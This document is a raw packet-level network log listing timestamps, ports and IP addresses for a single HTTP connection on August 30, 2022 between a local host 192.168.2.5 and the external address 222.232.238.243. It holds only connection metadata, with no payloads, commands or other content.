Aug 30, 2022 15:54:31.361159086 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361188889 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361227989 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361234903 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361268044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361310959 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361316919 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361350060 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361394882 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361407042 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361433983 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361489058 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666127920 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666182041 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666222095 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666261911 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666292906 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666301966 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666342020 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666371107 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666383028 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666424990 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666449070 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666465998 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666505098 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666510105 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666543007 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666583061 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666598082 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666621923 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666661024 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666701078 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666723967 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666749001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666773081 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666790962 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666829109 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666843891 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666867971 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666908979 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666918993 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666945934 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.666980028 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.666985035 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667026043 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667062044 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667073011 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667169094 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667211056 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667251110 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667269945 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667290926 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667292118 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667330027 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667375088 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667399883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667440891 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667480946 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667509079 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667522907 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667561054 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667589903 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667602062 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667642117 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667651892 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667680979 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667714119 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667720079 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667758942 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667798042 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667800903 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667839050 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667876005 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667879105 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667916059 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667956114 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.667962074 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.667994022 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668034077 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668071985 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668112040 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668124914 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668143988 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668154001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668188095 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668191910 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668231010 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668262959 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668270111 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668308020 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668344975 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668346882 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668386936 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668416977 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668426037 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668466091 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668504000 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668513060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668543100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668567896 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668584108 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668622017 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668659925 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668699026 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668699026 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668724060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668739080 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668780088 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668814898 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668817043 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668855906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668894053 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668904066 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668931961 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.668963909 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.668971062 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669009924 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669037104 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669049025 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669090033 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669115067 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669128895 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669167042 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669204950 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669205904 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669245005 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669282913 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669285059 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669322014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669358969 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669361115 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669400930 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669431925 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669440031 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669478893 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669506073 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669517994 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669555902 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669594049 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669595957 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669636011 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669672012 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669677019 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669717073 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669754028 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669792891 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669794083 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669832945 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669835091 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669871092 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669903994 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.669910908 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.669995070 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670077085 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670120001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670157909 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670197010 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670197964 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670237064 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670277119 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670279026 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670309067 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670347929 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670387030 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670394897 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670413017 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670425892 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670445919 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670465946 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670495987 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670516968 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670571089 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670620918 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670639992 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670677900 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670713902 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670732021 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670783997 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670810938 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670824051 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670864105 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670890093 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670903921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670943022 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.670978069 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.670994997 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.671051979 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.671065092 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.671106100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.671165943 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.672574997 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.975848913 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.975919008 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.975963116 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976020098 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976032972 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976078033 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976080894 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976144075 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976207972 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976214886 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976269007 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976325035 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976326942 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976386070 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976440907 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976444006 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976504087 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976558924 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976582050 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976641893 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976699114 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976711035 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976756096 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976811886 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976815939 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976872921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.976928949 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.976932049 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977014065 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977071047 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977072001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977128029 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977184057 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977190971 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977248907 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977305889 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977313995 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977359056 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977417946 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977423906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977480888 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977540970 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977540970 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977602959 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977658033 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977663040 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977715969 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977775097 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977777958 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977818966 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977859974 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977874041 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977915049 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977952957 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.977971077 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.977991104 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978029966 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978066921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978072882 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978106022 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978126049 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978148937 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978188992 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978204966 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978229046 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978266954 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978283882 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978306055 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978346109 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978389025 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978398085 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978450060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978456974 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978501081 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978538036 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978554010 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978578091 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978617907 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978629112 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978655100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978694916 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978709936 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978749037 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978790045 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978806973 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978827953 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978867054 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978882074 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.978907108 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978945971 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.978976965 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979007006 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979044914 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979084015 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979123116 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979181051 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979186058 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979223967 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979259014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979300976 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979315042 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979340076 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979439020 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979439974 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979480028 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979518890 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979535103 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979572058 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979612112 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979621887 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979651928 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979688883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979703903 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979727983 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979765892 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979780912 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979805946 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979846954 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979885101 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979891062 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979938030 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.979940891 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.979979038 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980017900 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980035067 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980060101 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980098009 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980122089 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980138063 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980191946 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980200052 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980232000 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980273008 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980290890 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980309963 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980349064 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980369091 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980387926 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980427027 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980456114 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.980465889 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.980504990 CEST	80	49724	222.232.238.243	192.168.2.5
